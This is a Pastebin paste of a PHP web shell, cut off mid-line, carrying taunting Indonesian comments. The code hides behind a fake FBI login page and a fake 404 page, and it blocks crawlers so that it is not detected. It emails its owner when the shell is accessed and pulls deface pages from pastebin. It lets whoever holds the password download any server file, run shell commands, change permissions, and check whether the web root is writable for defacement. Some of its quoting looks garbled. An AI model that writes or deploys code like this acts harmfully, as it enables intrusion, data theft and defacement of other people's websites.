rootasuna

shell log

Feb 2nd, 2018
2,756
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 409.61 KB | None | 0 0
  1. <?php
  2. //* curang banget lu kontol wkwkwkwk salam dari gw tatsumi-crew | ./Cyber00t
  3. //* sorry w share ya anjenk shellna <3 curang itu ga baik kontol
  4. session_start();
  5. error_reporting(0);
  6. $auth_pass = "c3094fafce09304e62fdc346ec795561"; // MD5 Encrypt
  7. session_start();
  8. error_reporting(0);
  9. ob_start();
  10. set_time_limit(0);
  11. @define('VERSION', '2.1');
  12. $color = "#3498DB";
  13. $background_login = "https://4.bp.blogspot.com/-km-FgpyrPl4/WkWlBGaAFoI/AAAAAAAAA54/EgU3klAshoYfYcOwsvQ5jf7cDpu8CyU3ACK4BGAYYCw/s1600/as.png";
  14. $background = "https://s-media-cache-ak0.pinimg.com/originals/68/a3/70/68a3704aa96f32671f5d692a3d8986aa.jpg";
  15. $defaceku1 =file_get_contents("https://pastebin.com/raw/TLqn9qBK"); //
  16. $defaceku2 =file_get_contents("https://pastebin.com/raw/fwMizddi");
  17. $defaceku3 = file_get_contents("https://pastebin.com/raw/fwMizddi");
  18. $fontcolor_global = "white";
  19. $tracebackFeature = "on"; // set this feature to on to enable email alerts
  20. $ownerEmail = "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell
  21. $auth_pass = "c3094fafce09304e62fdc346ec795561"; // MD5 Encrypt
  22.  
  23. // -------------- Traceback Functions
  24.  
  25. function sendLoginAlert()
  26. {
  27. global $ownerEmail;
  28. global $url;
  29. $accesedIp = $_SERVER['REMOTE_ADDR'];
  30. $randomInt = rand(0,1000000); # to avoid id blocking
  31. $from = "[email protected]";
  32.  
  33. //echo $from;
  34.  
  35. if(function_exists('mail'))
  36. {
  37. $subject = "Shell Accessed -- FBI Agency --";
  38. $message = "
  39. Hey Owner ,
  40.  
  41. Your Shell(Private Shell) located at $url was accessed by $accesedIp
  42.  
  43. If its not you :-
  44.  
  45. 1. Please check if the shell is secured.
  46. 2. Change your user name and Password.
  47. 3. Check if lock is 0n!
  48.  
  49. Thanking You
  50.  
  51. Yours Faithfully
  52. FBI Agency
  53. ";
  54. mail($ownerEmail,$subject,$message,'From:'.$from);
  55. }
  56. }
  57.  
  58. //---------------------------------------------------------
  59. if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  60. header("HTTP/1.0 404 Not Found");
  61. header("Status: 404 Not Found");
  62. die();
  63. }
  64. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  65. header("HTTP/1.0 404 Not Found");
  66. header("Status: 404 Not Found");
  67. die();
  68. }
  69. @define('SELF_PATH', __FILE__);
  70. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  71. header('HTTP/1.0 404 Not Found');
  72. exit;
  73. }
  74. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  75. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  76. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  77. header('HTTP/1.0 404 Not Found');
  78. exit;
  79. }
  80. }
  81. session_start();
  82. function printLogin() { ?>
  83. <style>input[type=password]{color:teal;background:black;border:1px solid teal}a{text-decoration:none;color:white;padding-left:270px}sad{font-family:'Suggested fonts',cursive;color:#3498DB;font-size:50px}</style>
  84. <title>FBI Terminal System</title>
  85. <link rel="icon" type="image/png" href="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png">
  86. <body style="background-color:black;color:white">
  87. <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
  88. <center>
  89. <?php
  90. global $background_login;
  91. ?>
  92. <hr>
  93. <sad>Federal Bureau of Investigation</sad>
  94. <hr><br><br><b>
  95. Security Protection ! <br><br>
  96. <center><img src="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png" width="250" height="250"></center><br><br>
  97. <b>This is a secured and monitored federal Goverment system. Unauthorized access is strictly prohibited. All activity is fully monitored.<br>
  98. Individuals who attempt to gain<br>
  99. Unauthorized access or attempt any modification of information on this system is subject to criminal prosecution. All persons who are hereby notified that<br>
  100. use of this system constitues concent to monitoring and auditing.<br><br>
  101. <a href="https://fbi.gov">Federal Bureau of Investigation &copy; 2018</a><br><br><br>
  102. <left>Enter your authorized FBI terminal access code :<br><br>
  103. <form action="" method="post" style=" text-align: center;">Select Agent :
  104. <select name="method" class="selecte">
  105. <option value="1">Agency</option>
  106. <option value="2">Special Agency</option>
  107. <option value="3">Federal Agency</option>
  108. <option value="4">Federal Investigator</option>
  109. <option value="5">Investment Specialist</option>
  110. </select>
  111. </form>
  112. <form method=post>
  113. <br>Access Code :
  114. <input type=password name=pass placeholder=Input_Code>
  115. </form>
  116. </left>
  117. </div>
  118. </center>
  119. <?php exit; }
  120.  
  121. function printLogin404(){
  122. header("HTTP/1.0 404 Not Found");
  123. header("Status: 404 Not Found");
  124. echo '
  125. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  126. <html><head>
  127. <title>404 Not Found</title>
  128. </head><body>
  129. <h1>Not Found</h1>
  130. <p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
  131. <hr>
  132. <address>Apache '.phpversion().' Server at '.$_SERVER['SERVER_NAME'].' Port 80</address>
  133. <style>input { margin:0;background-color:#fff;border:0px solid #fff; color:#fff; text-align:center;}</style>
  134. <form action="" method="post">
  135. <center><input type=password name="pass"></center>
  136. </body></html>
  137. </form>';
  138. exit();
  139. }
  140. if( !isset( $_SESSION['login']))
  141. if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ){
  142. $_SESSION['login'] = true;
  143. header('Location: ?');
  144. exit();
  145. }
  146. else{
  147. printLogin();
  148. }
  149.  
  150.  
  151.  
  152. if( get_magic_quotes_gpc() ) {
  153. function stripslashes_array($array) {
  154. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  155. }
  156. $_POST = stripslashes_array($_POST);
  157. }
  158.  
  159.  
  160.  
  161. if (isset($_GET["dl"]) && ($_GET["dl"] != "")) {
  162. $file = $_GET["dl"];
  163. $filez = @file_get_contents($file);
  164. header("Content-type: application/octet-stream");
  165. header("Content-length: " . strlen($filez));
  166. header("Content-disposition: attachment;filename='" . basename($file) . "';");
  167. echo $filez;
  168. exit;
  169. } elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")) {
  170. $file = $_GET['dlgzip'];
  171. $filez = gzencode(@file_get_contents($file));
  172. header("Content-Type:application/x-gzipn");
  173. header("Content-length: " . strlen($filez));
  174. header("Content-disposition: attachment;filename='" . basename($file) . ".gz';");
  175. echo $filez;
  176. exit;
  177. }
  178. if (isset($_GET["img"])) {
  179. @ob_clean();
  180. $d = magicboom($_GET["y"]);
  181. $f = $_GET["img"];
  182. $inf = @getimagesize($d . $f);
  183. $ext = explode($f, ".");
  184. $ext = $ext[count($ext) - 1];
  185. @header("Content-type: " . $inf["mime"]);
  186. @header("Cache-control: public");
  187. @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
  188. @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
  189. @readfile($d . $f);
  190. exit;
  191. }
  192. $software = getenv("SERVER_SOFTWARE");
  193. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  194. $safemode = TRUE;
  195. else
  196. $safemode = FALSE;
  197. $system = @php_uname();
  198. if (strtolower(substr($system, 0, 3)) == "win")
  199. $win = TRUE;
  200. else
  201. $win = FALSE;
  202. if (isset($_GET['sad'])) {
  203. if (@is_dir($_GET['view'])) {
  204. $pwd = $_GET['view'];
  205. @chdir($pwd);
  206. } else {
  207. $pwd = $_GET['sad'];
  208. @chdir($pwd);
  209. }
  210. }
  211. if (!$win) {
  212. if (!$user = rapih(exe("whoami")))
  213. $user = "";
  214. if (!$id = rapih(exe("id")))
  215. $id = "";
  216. $prompt = $user . " $ ";
  217. $pwd = @getcwd() . DIRECTORY_SEPARATOR;
  218. } else {
  219. $user = @get_current_user();
  220. $id = $user;
  221. $prompt = $user . " &gt;";
  222. $pwd = realpath(".") . "\";
  223. $v = explode("\", $d);
  224. $v = $v[0];
  225. foreach (range("A", "Z") as $letter) {
  226. $bool = @is_dir($letter . ":\");
  227. if ($bool) {
  228. $letters .= "<a href='?sad=" . $letter . ":\'>[ ";
  229. if ($letter . ":" != $v) {
  230. $letters .= $letter;
  231. } else {
  232. $letters .= "<span class='gaya'>" . $letter . "</span>";
  233. }
  234. $letters .= " ]</a> ";
  235. }
  236. }
  237. }
  238.  
  239. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  240. $posix = TRUE;
  241. else
  242. $posix = FALSE;
  243. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  244. $my_ip = $_SERVER['REMOTE_ADDR'];
  245. $bindport = "13123";
  246. $bindport_pass = "Krypton";
  247. $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
  248. $pwdurl = "";
  249. for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
  250. $pathz = "";
  251. for ($j = 0; $j <= $i; $j++) {
  252. $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
  253. }
  254. $pwdurl .= "<a href='?sad=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
  255. }
  256. if (isset($_POST['rename'])) {
  257. $old = $_POST['oldname'];
  258. $new = $_POST['newname'];
  259. @rename($pwd . $old, $pwd . $new);
  260. $file = $pwd . $new;
  261. }
  262. if (isset($_POST['chmod'])) {
  263. $name = $_POST['name'];
  264. $value = $_POST['newvalue'];
  265. if (strlen($value) == 3) {
  266. $value = 0 . "" . $value;
  267. }
  268. @chmod($pwd . $name, octdec($value));
  269. $file = $pwd . $name;
  270. }
  271. if (isset($_POST['chmod_folder'])) {
  272. $name = $_POST['name'];
  273. $value = $_POST['newvalue'];
  274. if (strlen($value) == 3) {
  275. $value = 0 . "" . $value;
  276. }
  277. @chmod($pwd . $name, octdec($value));
  278. $file = $pwd . $name;
  279. }
  280. $buff = "&nbsp;" . $software . "<br>";
  281. $buff .= "&nbsp;" . $system . "<br>";
  282. if ($id != "")
  283. $buff .= "&nbsp;" . $id . "<br>";
  284. if ($safemode)
  285. $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
  286. else
  287. $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
  288. function showstat($stat)
  289. {
  290. if ($stat == "on") {
  291. return "<b><font style='color:lime'>ON</font></b>";
  292. } else {
  293. return "<b><font style='color:red'>OFF</font></b>";
  294. }
  295. }
  296. function hdd($s) {
  297. if($s >= 1073741824)
  298. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  299. elseif($s >= 1048576)
  300. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  301. elseif($s >= 1024)
  302. return sprintf('%1.2f',$s / 1024 ) .' KB';
  303. else
  304. return $s .' B';
  305. }
  306. function testmysql()
  307. {
  308. if (function_exists('mysql_connect')) {
  309. return showstat("on");
  310. } else {
  311. return showstat("off");
  312. }
  313. }
  314. function testcurl()
  315. {
  316. if (function_exists('curl_version')) {
  317. return showstat("on");
  318. } else {
  319. return showstat("off");
  320. }
  321. }
  322. function testwget()
  323. {
  324. if (exe('wget --help')) {
  325. return showstat("on");
  326. } else {
  327. return showstat("off");
  328. }
  329. }
  330. function testperl()
  331. {
  332. if (exe('perl -h')) {
  333. return showstat("on");
  334. } else {
  335. return showstat("off");
  336. }
  337. }
  338. function ngindex($piye)
  339. {
  340. if ($piye == "ok") {
  341. return "<font style='color:lime'>Writeable</font>";
  342. } else {
  343. return "<b><font style='color:red'>Not Writeable</font></b>";
  344. }
  345. }
  346. function can_deface(){
  347. $thisdir = $_SERVER['DOCUMENT_ROOT'];
  348. if (is_writable($thisdir)) {
  349. return '&nbsp;Writeable Root Directory:<font color="green" size="+1">'.$thisdir.' '.ngindex("ok").'<br>';
  350. } else {
  351. return ngindex("ok").'<br>';
  352. }
  353. }
  354. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  355. if(!function_exists('posix_getegid')) {
  356. $user = @get_current_user();
  357. $uid = @getmyuid();
  358. $gid = @getmygid();
  359. $group = "?";
  360. } else {
  361. $uid = @posix_getpwuid(posix_geteuid());
  362. $gid = @posix_getgrgid(posix_getegid());
  363. $user = $uid['name'];
  364. $uid = $uid['uid'];
  365. $group = $gid['name'];
  366. $gid = $gid['gid'];
  367. }
  368. $buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
  369. $buff .= "&nbsp;Disk Size:<font style='color:lime'>".hdd(disk_free_space("/"))."</font>/".hdd(disk_total_space("/"))."<br>";
  370. $buff .= can_deface();
  371. $buff .= "&nbsp;Disable Function :$show_ds<br>";
  372. $buff .= "&nbsp;Drives : " . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
  373. function rapih($text)
  374. {
  375. return trim(str_replace("<br>", "", $text));
  376. }
  377. function magicboom($text)
  378. {
  379. if (!get_magic_quotes_gpc()) {
  380. return $text;
  381. }
  382. return stripslashes($text);
  383. }
  384. function showdir($pwd, $prompt)
  385. {
  386. $fname = array();
  387. $dname = array();
  388. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  389. $posix = TRUE;
  390. else
  391. $posix = FALSE;
  392. $user = "????:????";
  393. if ($dh = opendir($pwd)) {
  394. while ($file = readdir($dh)) {
  395. if (is_dir($file)) {
  396. $dname[] = $file;
  397. } elseif (is_file($file)) {
  398. $fname[] = $file;
  399. }
  400. }
  401. closedir($dh);
  402. }
  403. sort($fname);
  404. sort($dname);
  405. $path = @explode(DIRECTORY_SEPARATOR, $pwd);
  406. $tree = @sizeof($path);
  407. $parent = "";
  408. $buff = " <form action='?sad=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Start !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>File & Dirs</th><th style='width:80px;'>Size</th><th style='width:210px;'>Owner:Group</th><th style='width:80px;'>Permission</th><th style='width:110px;'>Last Modified</th><th style='width:190px;'>Actions</th></tr> ";
  409. if ($tree > 2)
  410. for ($i = 0; $i < $tree - 2; $i++)
  411. $parent .= $path[$i] . DIRECTORY_SEPARATOR;
  412. else
  413. $parent = $pwd;
  414. foreach ($dname as $folder) {
  415. if ($folder == ".") {
  416. if (!$win && $posix) {
  417. $name = @posix_getpwuid(@fileowner($folder));
  418. $group = @posix_getgrgid(@filegroup($folder));
  419. $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
  420. } else {
  421. $owner = $user;
  422. }
  423. $buff .= "<tr><td><a href="?sad=" . $pwd . "">$folder</a></td><td>-</td>
  424. <td style="text-align:center;">" . $owner . "</td>
  425. <td><center>" . get_perms($pwd) . "</center></td>
  426. <td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id="titik1">
  427. <a href="?sad=$pwd&amp;edit=" . $pwd . "newfile.php">newfile</a> | <a href="javascript:tukar('titik1','titik1_form');">newfolder</a>
  428. </span><form action="?" method="get" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">
  429. <input type="hidden" name="y" value="" . $pwd . "" />
  430. <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
  431. <input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
  432. </form></td></tr> ";
  433. } elseif ($folder == "..") {
  434. if (!$win && $posix) {
  435. $name = @posix_getpwuid(@fileowner($folder));
  436. $group = @posix_getgrgid(@filegroup($folder));
  437. $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
  438. } else {
  439. $owner = $user;
  440. }
  441. $buff .= "<tr><td>
  442. <a href="?sad=" . $parent . ""><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>-</td>
  443. <td style="text-align:center;">" . $owner . "</td>
  444. <td><center>" . get_perms($parent) . "</center></td> <td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
  445. <td><span id="titik2"><a href="?sad=$pwd&amp;edit=" . $parent . "newfile.php">newfile</a> | <a href="javascript:tukar('titik2','titik2_form');">newfolder</a></span>
  446. <form action="?" method="get" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">
  447. <input type="hidden" name="y" value="" . $pwd . "" />
  448. <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
  449. <input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
  450. </form></td></tr>";
  451. } else {
  452. if (!$win && $posix) {
  453. $name = @posix_getpwuid(@fileowner($folder));
  454. $group = @posix_getgrgid(@filegroup($folder));
  455. $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
  456. } else {
  457. $owner = $user;
  458. }
  459. $buff .= "<tr><td><a id="" . clearspace($folder) . "_link" href="?sad=" . $pwd . $folder . DIRECTORY_SEPARATOR . ""><img src='data:image/png;base64,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' width=20px/> "."<font 